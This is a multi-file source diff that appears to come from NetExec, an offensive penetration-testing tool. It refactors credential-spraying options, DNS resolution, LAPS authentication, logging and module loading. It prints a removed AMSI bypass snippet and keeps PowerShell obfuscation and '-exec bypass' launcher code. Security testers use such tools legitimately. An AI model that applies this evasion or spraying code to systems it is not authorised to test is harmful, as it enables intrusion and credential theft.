std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
@@ -77,18 +112,36 @@ def gen_cli_args():
try:
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
except Exception as e:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
argcomplete.autocomplete(parser)
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if args.version:
print(f"{VERSION} - {CODENAME}")
print(f"{VERSION} - {CODENAME} - {COMMIT}")
sys.exit(1)
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
if hasattr(args, "get_output_tries"):
args.get_output_tries = args.get_output_tries * 10
return args
def get_module_names():
"""Get module names without initializing them"""
modules = []
modules_paths = [
path_join(dirname(nxc.__file__), "modules"),
path_join(NXC_PATH, "modules"),
]
for path in modules_paths:
modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"])
return sorted(modules, key=str.casefold)
+2 -2
View File
@@ -43,5 +43,5 @@ if len(host_info_colors) != 4:
# this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
def process_secret(text):
hidden = text[:reveal_chars_of_pwd]
return text if not audit_mode else hidden + audit_mode * 8
reveal = text[:reveal_chars_of_pwd]
return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8)
+137 -51
View File
@@ -4,38 +4,82 @@ from threading import BoundedSemaphore
from functools import wraps
from time import sleep
from ipaddress import ip_address
from dns import resolver, rdatatype
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.protocols.ldap.laps import laps_search
from impacket.dcerpc.v5 import transport
import sys
import contextlib
sem = BoundedSemaphore(1)
global_failed_logins = 0
user_failed_logins = {}
def gethost_addrinfo(hostname):
is_ipv6 = False
is_link_local_ipv6 = False
def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
result = {
"host": "",
"is_ipv6": False,
"is_link_local_ipv6": False
}
address_info = {"AF_INET6": "", "AF_INET": ""}
for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
try:
if ip_address(target).version == 4:
address_info["AF_INET"] = target
else:
address_info["AF_INET6"] = target
except Exception:
# If the target is not an IP address, we need to resolve it
if not (dns_server or dns_tcp):
for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
address_info["AF_INET6"] = canonname
result["is_link_local_ipv6"] = True
else:
dnsresolver = resolver.Resolver()
dnsresolver.timeout = dns_timeout
dnsresolver.lifetime = dns_timeout
if dns_server:
dnsresolver.nameservers = [dns_server]
try:
answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET"] = answers_ipv4[0].address
except Exception:
pass
try:
answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET6"] = answers_ipv6[0].address
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
result["is_link_local_ipv6"] = True
except Exception:
pass
if not (address_info["AF_INET"] or address_info["AF_INET6"]):
raise Exception(f"The DNS query name does not exist: {target}")
# IPv4 preferred
if address_info["AF_INET"]:
host = address_info["AF_INET"]
if address_info["AF_INET"] and not force_ipv6:
result["host"] = address_info["AF_INET"]
else:
is_ipv6 = True
host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
result["is_ipv6"] = True
result["host"] = address_info["AF_INET6"]
return host, is_ipv6, is_link_local_ipv6
return result
def requires_admin(func):
@@ -47,7 +91,7 @@ def requires_admin(func):
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, timeout):
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
@@ -67,6 +111,7 @@ def dcom_FirewallChecker(iInterface, timeout):
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
@@ -78,49 +123,66 @@ def dcom_FirewallChecker(iInterface, timeout):
class connection:
def __init__(self, args, db, host):
self.domain = None
def __init__(self, args, db, target):
self.args = args
self.db = db
self.hostname = host
self.port = self.args.port
self.logger = nxc_logger
self.conn = None
self.admin_privs = False
# Authentication info
self.password = ""
self.username = ""
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
self.local_ip = None
self.logger = nxc_logger
try:
self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
if self.args.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
except Exception as e:
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
# Network info
self.domain = None
self.host = None # IP address of the target. If kerberos this is the hostname
self.hostname = target # Target info supplied by the user, may be an IP address or a hostname
self.remoteName = target # hostname + domain, defaults to target if domain could not be resolved/not specified
self.kdcHost = self.args.kdcHost
self.port = self.args.port
self.local_ip = None
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
else:
return
if args.jitter:
jitter = args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
if self.args.kerberos:
self.host = self.hostname
value = random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
sleep(value)
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except Exception as e:
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
finally:
self.logger.debug(f"Closing connection to: {target}")
with contextlib.suppress(Exception):
self.conn.close()
def resolver(self, target):
try:
return get_host_addr_info(
target=target,
force_ipv6=self.args.force_ipv6,
dns_server=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout
)
except Exception as e:
self.logger.info(f"Error resolving hostname {target}: {e}")
return None
@staticmethod
def proto_args(std_parser, module_parser):
@@ -141,16 +203,7 @@ class connection:
def check_if_admin(self):
return
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
return
def plaintext_login(self, domain, username, password):
@@ -162,11 +215,14 @@ class connection:
def proto_flow(self):
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if self.create_conn_obj():
if not self.create_conn_obj():
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
else:
self.logger.debug("Created connection object")
self.enum_host_info()
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
@@ -200,7 +256,7 @@ class connection:
It iterates over the modules specified in the command line arguments.
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
"""
for module in self.module:
for module in self.modules:
self.logger.debug(f"Loading module {module.name} - {module}")
module_logger = NXCAdapter(
extra={
@@ -384,7 +440,9 @@ class connection:
return domain, username, owned, secret, cred_type, [None] * len(secret)
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
"""Try to login using the specified credentials and protocol.
"""
Try to login using the specified credentials and protocol.
With --jitter an authentication throttle can be applied.
Possible login methods are:
- plaintext (/kerberos)
@@ -397,6 +455,18 @@ class connection:
return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
if self.args.jitter:
jitter = self.args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
sleep(value)
with sem:
if cred_type == "plaintext":
if self.args.kerberos:
@@ -459,6 +529,13 @@ class connection:
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
return False
if not self.args.no_bruteforce:
for secr_index, secr in enumerate(secret):
for user_index, user in enumerate(username):
@@ -478,3 +555,12 @@ class connection:
def mark_pwned(self):
return highlight(f"({pwned_label})" if self.admin_privs else "")
def load_modules(self):
self.logger.info(f"Loading modules for target: {self.host}")
loader = ModuleLoader(self.args, self.db, self.logger)
self.modules = []
for module_path in self.module_paths:
module = loader.init_module(module_path)
self.modules.append(module)
+1 -1
View File
@@ -13,7 +13,7 @@ bh_enabled = False
bh_uri = 127.0.0.1
bh_port = 7687
bh_user = neo4j
bh_pass = neo4j
bh_pass = bloodhoundcommunityedition
[Empire]
api_host = 127.0.0.1
+97
View File
@@ -0,0 +1,97 @@
import sys
import configparser
import shutil
from sqlalchemy import create_engine
from sqlite3 import connect
from os import mkdir
from os.path import exists
from os.path import join as path_join
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.paths import WORKSPACE_DIR
def create_db_engine(db_path):
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
def open_config(config_path):
try:
config = configparser.ConfigParser()
config.read(config_path)
except Exception as e:
print(f"[-] Error reading nxc.conf: {e}")
sys.exit(1)
return config
def get_workspace(config):
return config.get("nxc", "workspace")
def set_workspace(config_path, workspace_name):
config = open_config(config_path)
config.set("nxc", "workspace", workspace_name)
write_configfile(config, config_path)
print(f"[*] Workspace set to {workspace_name}")
def get_db(config):
return config.get("nxc", "last_used_db")
def write_configfile(config, config_path):
with open(config_path, "w") as configfile:
config.write(configfile)
def create_workspace(workspace_name, p_loader=None):
"""
Create a new workspace with the given name.
Args:
----
workspace_name (str): The name of the workspace.
Returns:
-------
None
"""
if exists(path_join(WORKSPACE_DIR, workspace_name)):
print(f"[-] Workspace {workspace_name} already exists")
else:
print(f"[*] Creating {workspace_name} workspace")
mkdir(path_join(WORKSPACE_DIR, workspace_name))
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF")
c.execute("PRAGMA foreign_keys = 1")
protocol_object.database.db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
def delete_workspace(workspace_name):
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
print(f"[*] Workspace {workspace_name} deleted")
def initialize_db():
if not exists(path_join(WORKSPACE_DIR, "default")):
create_workspace("default")
+2 -2
View File
@@ -3,7 +3,7 @@ from os.path import exists
from os.path import join as path_join
import shutil
from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
from nxc.nxcdb import initialize_db
from nxc.database import initialize_db
from nxc.logger import nxc_logger
@@ -29,7 +29,7 @@ def first_run_setup(logger=nxc_logger):
logger.display(f"Creating missing folder {folder}")
mkdir(path_join(NXC_PATH, folder))
initialize_db(logger)
initialize_db()
if not exists(CONFIG_PATH):
logger.display("Copying default configuration file")
+10
View File
@@ -0,0 +1,10 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
help_string = action.help
if "%(default)" not in action.help and action.default is not SUPPRESS:
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
help_string += " (default: %(default)s)" # NORUFF
return help_string
+2 -4
View File
@@ -52,14 +52,12 @@ def add_user_bh(user, domain, logger, config):
_add_with_domain(user_info, domain, tx, logger)
except AuthError:
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
return
except ServiceUnavailable:
logger.fail(f"Neo4J does not seem to be available on {uri}.")
return
except Exception as e:
logger.fail(f"Unexpected error with Neo4J: {e}")
return
driver.close()
finally:
driver.close()
def _add_with_domain(user_info, domain, tx, logger):
+34
View File
@@ -0,0 +1,34 @@
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
+45 -53
View File
@@ -12,6 +12,20 @@ import random
obfuscate_ps_scripts = False
def replace_singles(s):
"""Replaces single quotes with a double quote
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
Args:
----
s (str): The string to replace single quotes in.
Returns:
-------
str: Original string with single quotes replaced with double.
"""
return s.replace("'", r"\"")
def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
@@ -108,91 +122,66 @@ def obfs_ps_script(path_to_script):
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
Args:
----
ps_command (str): The PowerShell command to be executed.
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
Returns:
-------
str: The generated PowerShell command.
"""
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
if custom_amsi:
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
with open(custom_amsi) as file_in:
lines = list(file_in)
amsi_bypass = "".join(lines)
else:
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
"""
command = amsi_bypass + f"\n$functions = {{\n function Command-ToExecute\n {{\n{amsi_bypass + ps_command}\n }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n $job | Wait-Job\n}}\nelse\n{{\n IEX \"$functions\"\n Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
amsi_bypass = ""
# for readability purposes, we do not do a one-liner
if force_ps32: # noqa: SIM108
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
command = f"{amsi_bypass} {ps_command}"
nxc_logger.debug(f"Generated PS command:\n {command}\n")
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
# (https://github.com/GreatSCT/GreatSCT) <3
"""
if is_powershell_installed():
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
suffix='.ps1',
dir='/tmp')
temp.write(command)
temp.read()
encoding_types = [1,2,3,4,5,6]
while True:
encoding = random.choice(encoding_types)
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
temp.name,
encoding)
nxc_logger.debug(invoke_obfs_command)
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
nxc_logger.debug('Command length: {}'.format(len(command)))
if len(command) <= 8192:
temp.close()
break
encoding_types.remove(encoding)
else:
"""
if not dont_obfs:
if obfs:
nxc_logger.debug("Obfuscating PowerShell command")
obfs_attempts = 0
while True:
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
obfs_command = invoke_obfuscation(command)
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
if len(command) <= 8191:
break
if obfs_attempts == 4:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
obfs_attempts += 1
else:
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
command = f"powershell.exe -noni -nop -w 1 {command}"
if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Final command: {command}")
return command
@@ -320,6 +309,7 @@ def invoke_obfuscation(script_string):
-------
str: The obfuscated payload for execution.
"""
nxc_logger.debug(f"Command before obfuscation: {script_string}")
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
@@ -436,5 +426,7 @@ def invoke_obfuscation(script_string):
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
]
return choice(invoke_options)
obfuscated_script = choice(invoke_options)
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
return obfuscated_script
+4 -1
View File
@@ -24,6 +24,9 @@ class ModuleLoader:
if not hasattr(module, "name"):
self.logger.fail(f"{module_path} missing the name variable")
module_error = True
elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]:
self.logger.fail(f"{module_path} filename must match the module name {module.name}")
module_error = True
elif not hasattr(module, "description"):
self.logger.fail(f"{module_path} missing the description variable")
module_error = True
@@ -92,7 +95,7 @@ class ModuleLoader:
module_spec = spec.loader.load_module().NXCModule
module = {
f"{module_spec.name.lower()}": {
f"{module_spec.name}": {
"path": module_path,
"description": module_spec.description,
"options": module_spec.options.__doc__,
+93 -67
View File
@@ -4,12 +4,79 @@ from logging.handlers import RotatingFileHandler
import os.path
import sys
import re
from nxc.helpers.misc import called_from_cmd_args
from nxc.console import nxc_console
from termcolor import colored
from datetime import datetime
from rich.text import Text
from rich.logging import RichHandler
import functools
import inspect
import argparse
def parse_debug_args():
debug_parser = argparse.ArgumentParser(add_help=False)
debug_parser.add_argument("--debug", action="store_true")
debug_parser.add_argument("--verbose", action="store_true")
args, _ = debug_parser.parse_known_args()
return args
def setup_debug_logging():
debug_args = parse_debug_args()
root_logger = logging.getLogger("root")
if debug_args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.INFO)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
temp_logger = logging.getLogger("temp")
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
handler = SmartDebugRichHandler(formatter=formatter)
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
class SmartDebugRichHandler(RichHandler):
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
def __init__(self, formatter=None, *args, **kwargs):
super().__init__(*args, **kwargs)
if formatter is not None:
self.setFormatter(formatter)
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
record.lineno = frame_info.lineno
super().emit(record)
def no_debug(func):
"""Stops logging non-debug messages when we are in debug mode
It creates a temporary logger and logs the message to the console and file
This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
"""
@functools.wraps(func)
def wrapper(self, msg, *args, **kwargs):
if self.logger.getEffectiveLevel() >= logging.INFO:
return func(self, msg, *args, **kwargs)
else:
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
caller_frame = inspect.currentframe().f_back
create_temp_logger(caller_frame, formatted_text, args, kwargs)
self.log_console_to_file(formatted_text, *args, **kwargs)
return wrapper
class NXCAdapter(logging.LoggerAdapter):
@@ -17,21 +84,22 @@ class NXCAdapter(logging.LoggerAdapter):
logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
handlers=[
RichHandler(
console=nxc_console,
rich_tracebacks=True,
tracebacks_show_locals=False,
)
],
handlers=[RichHandler(
console=nxc_console,
rich_tracebacks=True,
tracebacks_show_locals=False
)],
)
self.logger = logging.getLogger("nxc")
self.extra = extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("neo4j").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs): # noqa: A003
"""Format msg for output
@@ -41,77 +109,49 @@ class NXCAdapter(logging.LoggerAdapter):
if self.extra is None:
return f"{msg}", kwargs
if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
# If the logger is being called when hooking the 'options' module function
if len(self.extra) == 1 and ("module_name" in self.extra):
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
kwargs,
)
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
# If the logger is being called from nxcServer
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
kwargs,
)
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
# If the logger is being called from a protocol
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
return (
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
kwargs,
)
return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
@no_debug
def display(self, msg, *args, **kwargs):
"""Display text to console, formatted for nxc"""
try:
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@no_debug
def success(self, msg, color="green", *args, **kwargs):
"""Print some sort of success to the user"""
try:
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
"""Prints some sort of success to the user"""
msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@no_debug
def highlight(self, msg, *args, **kwargs):
"""Prints a completely yellow highlighted message to the user"""
try:
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
